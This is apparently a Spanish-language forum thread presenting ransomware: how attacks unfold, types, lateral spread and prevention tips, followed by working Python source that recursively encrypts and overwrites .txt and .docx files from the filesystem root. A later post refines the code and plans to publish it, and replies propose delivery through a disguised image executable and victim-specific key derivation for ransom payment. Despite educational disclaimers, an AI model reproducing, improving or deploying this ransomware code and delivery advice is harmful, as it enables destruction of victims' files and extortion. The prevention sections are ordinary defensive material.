Ciberseguridad Ransomware, la pesadilla de las empresas **EJEMPLO INSIDE**

  • Autor de tema Autor de tema Miembro eliminado 6516 Jorge2019
  • Fecha de inicio Fecha de inicio
Hola shurmanos

Amigos de lo incierto y los sistemas seguros, volvemos a la carga con los artículos sobre software, ciberseguridad y hacking. En esta ocasión me gustaría hablaros del modelo de ataque más temido por todas las empresas, los ransomware. Hablaremos sobre cómo funcionan estos ataques, daremos una visión periférica de los daños que pueden causar estos ataques, plantearemos formas de evitarlos, cómo gestionar una situación de esta magnitud y finalmente daré un ejemplo de cómo se desarrolla un ransomware (solo es un ejemplo, guarda tu revolver vaquero).

…………………………………………………………………...
Este artículo se publica con fines educativos y prevención de ataques. No me hago responsable de vuestros actos. Se ruega llevar a cabo estos ataques dentro de un entorno de prácticas con máquinas virtuales o laboratorio de hacking. Repito, no me hago responsable de vuestros actos.
………………………………………………………………………….


Los ataques de ransomware son una forma común y peligrosa de hacking en la que el atacante compromete un sistema informático, codifica o elimina los archivos del dispositivo y exige a la víctima pagar un rescate (llamado "ransom") para recuperar acceso a sus datos. En muchos casos, también se realiza una copia de los datos para posteriormente extorsionar a la víctima con la venta de sus datos. Esto conlleva un problema muy grande para las empresas ya que, no solo tienen que lidiar con el ataque ransomware, sino que también deben enfrentarse a las autoridades por haber sido expuestos posibles datos de clientes y la violación de la LOPD.

A continuación expongo un itinerario de actuación por parte del atacante

Infección

El atacante envía un archivo malicioso o hace que el usuario descargue en su dispositivo el malware, ya sea mediante técnicas de phising o por motu propio. En algunos casos estos ataques también los realizan personal interno de las empresas debido a la disconformidad o la razón que considere el atacante.


Ejecución

Cuando se ejecuta el archivo, el ransomware inicia la codificación o eliminación de los archivos del sistema. Como he dicho anteriormente también pueden realizar una copia de los datos para su posterior venta en el mercado negro.


Codificación o eliminación

El ransomware utiliza algoritmos criptográficos para codificar o eliminar los archivos importantes del sistema, como documentos, multimedia, bases de datos, etc. En ocasiones estos algoritmos de codificación suelen ser creados por los atacantes y ello dificulta la recuperación de los datos, pero en otras ocasiones en las que el ransomware no es elaborado, se usan algoritmos conocidos y cabe la probabilidad de recuperación de los datos comprometidos. Sin embargo no podremos gestionar el robo de datos por la cuestión que he mencionado antes, el atacante puede realizar una copia de los datos para su posterior venta.


Exigencia de rescate

La víctima recibe un mensaje que exige el pago de un rescate (ransom) en forma de moneda electrónica, como Bitcoin, a cambio de la clave para descodificar o restaurar los archivos. Este mensaje puede manifestarse durante el ataque y aparecer en forma de aviso en todos los dispositivos comprometidos o puede ser comunicado mediante un email al personal de la empresa. Se ha visto que en ocasiones estos mensajes han sido comunicados mediante redes sociales.



Tipos de ransomware​


Ransomware tradicional: Codifica todos los archivos del sistema y exige el pago de un rescate.

Ransomware avanzado: Elimina los archivos en lugar de codificarlos, lo que hace más difícil la recuperación.

Ransomware con doble efecto: No solo codifica o elimina archivos, sino también intenta comprometer otros dispositivos conectados a la red.



Hagamos un inciso para hablar del ataque con doble efecto.​


El ransomware con doble efecto es un tipo de malware que va más allá de simplemente codificar o eliminar archivos y se enfoca en comprometer otros dispositivos conectados a la red. El malware intenta comprometer otros dispositivos conectados a la red, como servidores, impresoras, escáneres y otros dispositivos IoT (Internet of Things). Aplicando una “infección lateral” se propaga desde el dispositivo inicialmente infectado hasta otros dispositivos en la red, utilizando vulnerabilidades de seguridad o credenciales débiles.

Estrategias de compromiso

1.Exploiting vulnerabilities: El ransomware explota vulnerabilidades conocidas en dispositivos conectados a la red, como servidores o impresoras.

2.Brute-force attacks: El malware aqplica fuerza bruta a credenciales débiles para acceder a otros dispositivos y sistemas.

3.Social engineering: El ransomware utiliza técnicas de ingeniería social para convencer a los usuarios de compartir sus credenciales o permitir el acceso al dispositivo.


Os doy ejemplos de este tipo de ataque con doble efecto:

WannaCry: En 2017, WannaCry fue un ejemplo de ransomware con doble efecto que infectó millones de dispositivos en todo el mundo y comprometió servidores y sistemas operativos.

NotPetya: NotPetya es otro ejemplo de ransomware con doble efecto que se propagó rápidamente a través de la red, comprometiendo servidores y dispositivos IoT.



Consejos para prevenir ataques ransomware​


Actualiza tus software y sistemas operativos: Asegúrate de que estén actualizados con las últimas versiones de seguridad. La mayoría, por no decir todos los sitemas operativos se actualizan semanalmente parcheando vulnerabilidades y haciendo los sistemas más seguros

Usa antivirus y antimalware: Instala un buen antivirus y antimalware en tu dispositivo. Pagar por un buen antivirus puede ahorrarnos disgustos y sobre todo pagar el rescate por los datos comprometidos

Realiza copias de seguridad regulares: Haz backups frecuentes de tus archivos importantes para recuperarlos si algo sale mal. En mis sistemas realizo copias de seguridad diarias con un protocolo automatizado. Esta práctica se lleva a cabo en la mayoría de proveedores de servicio y empresas de alojamiento web. Considera aplicarlo en tu empresa por si las moscas.

No abras correos electrónicos sospechosos: No descargues archivos a menos que estés seguro de su procedencia y contenido. Confirma el dominio desde el que recibes el correo electrónico siempre. También podemos usar software de monitorización de tráfico con filtros de malware, de esta manera podemos localizar la entrada de archivos infectados en nuestra red.

Usa contraseñas fuertes: Utiliza contraseñas complejas y cambia las credenciales periódicamente. Se recomienda usar contraseñas de mínimo treinta caracteres y cambiarlas mensualmente. Cabe la posibilidad de una filtración de credenciales. Con este protocolo de seguridad en las contraseñas, nos aseguramos de que si se han filtrado credenciales, estas ya no tengan validez alguna.



Consejos para prevenir un ataque de ransomware​


No pagues el rescate: No hay garantía de que el atacante te proporcione la clave después del pago.

Realiza una restauración desde backups: Si tienes copias de seguridad, puedes restaurar tus archivos y sistemas operativos a su estado anterior al ataque.

Informa a los autoridades: Reporta el incidente a las autoridades competentes para ayudar a prevenir futuros ataques, aunque muchas empresas son reticentes a esta actuación por no dañar su reputación.


Script de ejemplo de un ransomware​


A continuación os pongo un ejemplo MUY BASICO de cómo es un script de ransomware de pequeña escala. Yo programo con python pero se puede llevar a cabo con cualquier lenguaje de alto nivel. Estas son algunas de las opciones que tenemos a mano usando bibliotecas de python. También podéis desarrollar vuestras propias bibliotecas o frameworks.

**PyCrypto**: Es una biblioteca criptográfica para python que incluye algoritmos criptográficos avanzados como AES, RSA y SHA.

**Pynacl**: Es un paquete de cryptographic bindings for python que proporciona funciones para la codificación y descodificación de datos utilizando algoritmos criptográficos como AES-GCM y HMAC-SHA256.

**PyInstaller**: Es una herramienta que te permite crear ejecutables a partir de tus scripts python, lo que puede ser útil para distribuir tu ransomware en cualquier sistema operativo.

……………………………………………………………………………………………….
No me hago responsable de vuestros actos. Se ruega llevar a cabo estos ataques dentro de un entorno de prácticas con máquinas virtuales o laboratorio de hacking. Repito, no me hago responsable de vuestros actos.
………………………………………………………………………………………………...



Código:
# Importamos la biblioteca os para interactuar con el sistema de archivos
import os

# Importamos la clase AES de la biblioteca PyCryptodome para realizar operaciones de cifrado
from Crypto.Cipher import AES

# Configuración para el cifrado
# La clave y el vector de inicialización deben ser bytes y tener una longitud adecuada para AES (16, 24, o 32 bytes para la clave, 16 bytes para el vector)
Config = {
    'key': b'aquí tu llave secreta',
    'iv': b'aquí tu vector de inicialización'
}

# Definimos una función para cifrar un archivo
def encrypt_file(file_path):
    # Abrimos el archivo en modo binario para lectura
    with open(file_path, 'rb') as file:
        data = file.read()  # Leemos los datos del archivo
   
    # Creamos un nuevo objeto de cifrado AES en modo CBC (Cipher Block Chaining)
    cipher = AES.new(Config['key'], AES.MODE_CBC, Config['iv'])
   
    # La longitud de los datos debe ser múltiplo del tamaño del bloque (16 bytes) para el cifrado en modo CBC
    # Por lo tanto, debemos rellenar los datos si no lo son
    padded_data = data + b' ' * (16 - len(data) % 16)
   
    # Ciframos los datos rellenos
    encrypted_data = cipher.encrypt(padded_data)
   
    return encrypted_data  # Devolvemos los datos cifrados

# Definimos una función que simula un ataque de ransomware
def ransomware_attack():
    # Recorremos el sistema de archivos desde la raíz (esto puede ser peligroso en un entorno real)
    for root, dirs, files in os.walk('/'):
        for file in files:
            # Comprobamos si el archivo tiene una extensión específica (en este caso .txt o .docx)
            if file.endswith('.txt') or file.endswith('.docx'):
                file_path = os.path.join(root, file)  # Obtenemos la ruta completa del archivo
                print(f'Codificando archivo: {file}')  # Informamos que el archivo está siendo cifrado
               
                # Ciframos el archivo y obtenemos los datos cifrados
                encrypted_data = encrypt_file(file_path)
               
                # Sobrescribimos el archivo original con los datos cifrados
                with open(file_path, 'wb') as file:
                    file.write(encrypted_data)

# Punto de entrada del script
if __name__ == '__main__':
    ransomware_attack()




Explicación del Script​

  1. Importaciones y Configuración:
    • import os: Permite recorrer el sistema de archivos.
    • from Crypto.Cipher import AES: Permite utilizar el cifrado AES (Advanced Encryption Standard).
    • Config: Diccionario que contiene la clave y el vector de inicialización para el cifrado. Estos valores son esenciales para cifrar y descifrar correctamente los datos.
  2. Función encrypt_file(file_path):
    • Abre un archivo en modo lectura binaria y lee su contenido.
    • Crea un objeto de cifrado AES en modo CBC utilizando la clave y el vector de inicialización.
    • Los datos del archivo se rellenan para asegurar que su longitud es múltiplo del tamaño del bloque de AES (16 bytes).
    • Los datos rellenados se cifran y se devuelven.
  3. Función ransomware_attack():
    • Recorre el sistema de archivos desde la raíz.
    • Para cada archivo encontrado, verifica si la extensión es .txt o .docx.
    • Cifra el archivo seleccionado y sobrescribe el archivo original con los datos cifrados.
  4. Bloque principal:
    • Si el script se ejecuta directamente, se llama a la función ransomware_attack().

No voy a poner de nuevo el aviso de este artículo educativo porque sería repetitivo, pero si os voy a recomendar que no seáis gilipollas. Este tipo de ataques te pueden mandar a una bonita celda desde la que no podrás hablar con los shurmanos del foro.

Espero que este artículo te haya gustado y hayas aprendido cómo defender tus sistemas de un ataque ransomware y cómo lidiar en caso de ser víctima de uno de estos ataques. Si consideras el artículo incompleto, te ruego dejes tu aportación en los comentarios del hilo para que el resto de shurmanos aprendamos un poco más si cabe. Muchas gracias por leer y ser fiel a mis artículos y al subforo de tecnología.

Para finalizar os dejo una cita que me gusta decir a mis clientes:

"Prevenir es mejor que curar. Anticiparse es la mejor defensa."

Ale
a correr
 
El tema del 2FA es ESENCIAL. Y pongo un ejemplo. Imagina que quieres meterte en la página de tu banco a ver si te han ingresado la paga extra y de alguna manera logran colarte una página igual que la del banco, vamos, un phising de toda la vida. Metes tu usuario y contraseña y la página falsa solo te dice que la contraseña es incorrecta y entonces te redirige a la página real del banco. Tú solo pensarías que has metido mal la contraseña y te olvidarías del tema. Y el cabrón que ha creado esa página tendría tus credenciales para entrar a tu cuenta del banco. Pero si tienes habilitada la 2FA daría igual porque no tendría tu móvil para continuar el login.

Vale, para sacarte la pasta necesitaría una segunda contraseña, la "firma digital", pero vamos, que lo importante era explicar por qué 2FA previene cosas como esta. Porque mucha gente piensa que por ver el candado en el navegador la página no es segura, y lo único que significa es que el dominio de la página (lo que aparece en la dirección) es el mismo que se ve y no está falseado, como puede pasar en los correos electrónicos. Pero mucha gente solo mira que haya candado, no la url.
Google ahora ha implementado el reconocimiento facial
ya sea por webcam o con cámara de smartphone
hay quien piensa que es una medida invasiva
a mi me parece que es algo que deberíamos estar usando desde hace tiempo
 
Google ahora ha implementado el reconocimiento facial
ya sea por webcam o con cámara de smartphone
hay quien piensa que es una medida invasiva
a mi me parece que es algo que deberíamos estar usando desde hace tiempo
Si está bien hecho, sí. Hace unos años (sería 2016 o así) un cliente usaba el reconocimiento facial en su móvil hasta que se lo desbloqueé con una foto suya :elrisas: Supongo que ahora eso ya no funciona, pero yo personalmente no me fío. Por un lado una IA podría detectar fácilmente que lo que le ponen delante es una foto, pero no se qué pasaría con un deep fake. Quizás podría distinguir si la imagen viene de una pantalla o no... menuda paja mental me estoy haciendo.
 
Si está bien hecho, sí. Hace unos años (sería 2016 o así) un cliente usaba el reconocimiento facial en su móvil hasta que se lo desbloqueé con una foto suya :elrisas: Supongo que ahora eso ya no funciona, pero yo personalmente no me fío. Por un lado una IA podría detectar fácilmente que lo que le ponen delante es una foto, pero no se qué pasaría con un deep fake. Quizás podría distinguir si la imagen viene de una pantalla o no... menuda paja mental me estoy haciendo.
en el congreso de C1B3RWALL de esta semana celebrado en Ávila estuvieron hablando justamente de eso
cómo se pueden burlar factores de autenticidad de reconocimiento facial a la hora de abrir cuentas bancarias con documentación robada
los malos usan el poder de IA para crear deep fakes y engañar al personal de los bancos
es algo que se está teniendo en cuenta también en la ciberseguridad, usar la IA para detectar deep fakes
no es ninguna paja mental tron, cada vez la cosa está más avanzada
en 2016 estaba muy verde
hace unos meses estuve haciendo pruebas con un software muy básico de reconocimiento facial que hice para crear modelos 3D para Unreal Engine
es realmente facil crearlos
la movida es, quién está dispuesto a invertir en seguridad para estar a la vanguardia tecnológica y proteger a sus clientes
y otra cosa, hasta qué punto significa vulnerar la privacidad de una persona
tengamos en cuenta que el reconocimiento facial llena bases de datos para confirmar la identidad de una persona
ya se están haciendo campañas de protección de datos con el iris de los ojos
 
Había leído hace algún tiempo que hay criminales que venden suscripciones a software de ransomware (ransomware as a service), de forma que ni siquiera hay que saber mucho de informática para llevar a cabo una de esas extorsiones.

Estaba pensando que los modelos pequeños de IA deberían hacer posible que el ransomware sea más inteligente, simplemente diciéndole que busque información comprometida, detalles bancarios o de lo que sea.

➡️ Ransomware como servicio
Estuve pensando en hacer un post sobre Raas
pero me pareció más interesante mostrar cómo se desarrolla un ataque de este tipo y como se puede crear un malware básico

Creo que más adelante lo haré
Gracias por leer shur
 
el script se entrega a la víctima como un ejecutable
te pongo un ejemplo
alteramos una foto con esteganografía
de tal manera que la víctima al abrir la foto para verla ejecuta el script
la función "encrypt_file(file_path)" puede empezar encriptando los archivos del sistema
he respondido a tu pregunta?
Perfectamente shur!!!! una maravilla.
 
Hola shures

Durante la tarde he estado haciendo algunas mejoras al script del ransomware para hacerlo más funcional
Las mejoras son las siguientes:
  • La clave y el vector de iniciación se generan de forma segura y no hardcodeadas
  • El script no manejaba bien los errores, si un archivo no se podía leer el programa se detenía, ahora lo hará de forma segura
  • Usando la librería PyCryptodome se podrán realizar operaciones de cifrado AES con nuevos métodos
  • He agregado verificadores para confirmar que las rutas de los archivos son válidas

Python:
# Importamos los módulos necesarios
import os
from Crypto.Cipher import AES
from Crypto.Random import get_random_bytes

# Configuración de cifrado
Config = {
    'key': get_random_bytes(32),  # Generamos una clave aleatoria de 32 bytes
    'iv': get_random_bytes(16)   # Generamos un vector de inicialización aleatorio de 16 bytes
}

# Función para cifrar un archivo
def encrypt_file(file_path):
    try:
        # Abrimos el archivo en modo binario y leemos los datos
        with open(file_path, 'rb') as file:
            data = file.read()
        
        # Creamos un nuevo objeto de cifrado AES
        cipher = AES.new(Config['key'], AES.MODE_CBC, Config['iv'])
        
        # Añadimos espacios al final de los datos hasta que su longitud sea un múltiplo de 16
        padded_data = data + b' ' * (16 - len(data) % 16)
        
        # Ciframos los datos
        encrypted_data = cipher.encrypt(padded_data)

        # Devolvemos los datos cifrados
        return encrypted_data
    except Exception as e:
        print(f"Error al cifrar archivo: {e}")

# Función para realizar un ataque de ransomware
def ransomware_attack():
    # Recorremos todos los archivos en el sistema de archivos
    for root, dirs, files in os.walk('/'):
        for file in files:
            # Si el archivo es un .txt o .docx
            if file.endswith('.txt') or file.endswith('.docx'):
                # Obtenemos la ruta completa del archivo
                file_path = os.path.join(root, file)
                print(f"Codificando archivo: {file}")
                
                try:
                    # Ciframos los datos del archivo
                    encrypted_data = encrypt_file(file_path)
                    
                    # Sobrescribimos el archivo original con los datos cifrados
                    with open(file_path, 'wb') as file:
                        file.write(encrypted_data)
                except Exception as e:
                    print(f"Error al escribir archivo cifrado: {e}")

# Si el script se ejecuta como el programa principal, realizamos el ataque de ransomware
if __name__ == '__main__':
    ransomware_attack()

Seguiré mejorando el ransomware para colgarlo en Github y que algún juanker pueda mejorarlo más aún
 
Hola tron, estoy mirando el código (y aclaro, lo mismo digo una gilipollez porque no tengo ni papa de python) y me pregunto, ¿no sería mejor crear el objeto de cifrado fuera de la función de cifrado y pasárselo como argumento de entrada, en lugar de crear un objeto por archivo que se va a cifrar? Si python al compilar no es muy listo, para encriptar 100k ficheros tendrá que crear y destruir 100k objetos para cifrar. De la otra manera te creará solo uno. Y repito, lo mismo es una perogrullada y python ya sabe cómo manejar esto.

Por otro lado, si yo soy la víctima y quiero pagar para desencriptar mis archivos, ¿cómo sabes la key y el iv necesarios para hacerlo? está muy bien que no tengas hardcodeadas esas variables, pero debería generarlos el script con un hash cuya entrada podría ser una clave fija más algún dato del equipo en el que se ejecuta, no se, la id del procesador, la mac, algo así. De esa manera solo tendría que decirte la víctima esa mac o esa id y tú le podrías pasar los datos para desencriptar los archivos.
 
Hola tron, estoy mirando el código (y aclaro, lo mismo digo una gilipollez porque no tengo ni papa de python) y me pregunto, ¿no sería mejor crear el objeto de cifrado fuera de la función de cifrado y pasárselo como argumento de entrada, en lugar de crear un objeto por archivo que se va a cifrar? Si python al compilar no es muy listo, para encriptar 100k ficheros tendrá que crear y destruir 100k objetos para cifrar. De la otra manera te creará solo uno. Y repito, lo mismo es una perogrullada y python ya sabe cómo manejar esto.

Por otro lado, si yo soy la víctima y quiero pagar para desencriptar mis archivos, ¿cómo sabes la key y el iv necesarios para hacerlo? está muy bien que no tengas hardcodeadas esas variables, pero debería generarlos el script con un hash cuya entrada podría ser una clave fija más algún dato del equipo en el que se ejecuta, no se, la id del procesador, la mac, algo así. De esa manera solo tendría que decirte la víctima esa mac o esa id y tú le podrías pasar los datos para desencriptar los archivos.
@mahoumetano tronco, me llamas y me lo cuentas
creo que para el ataque necesitaría una base de datos
 
Volver
Arriba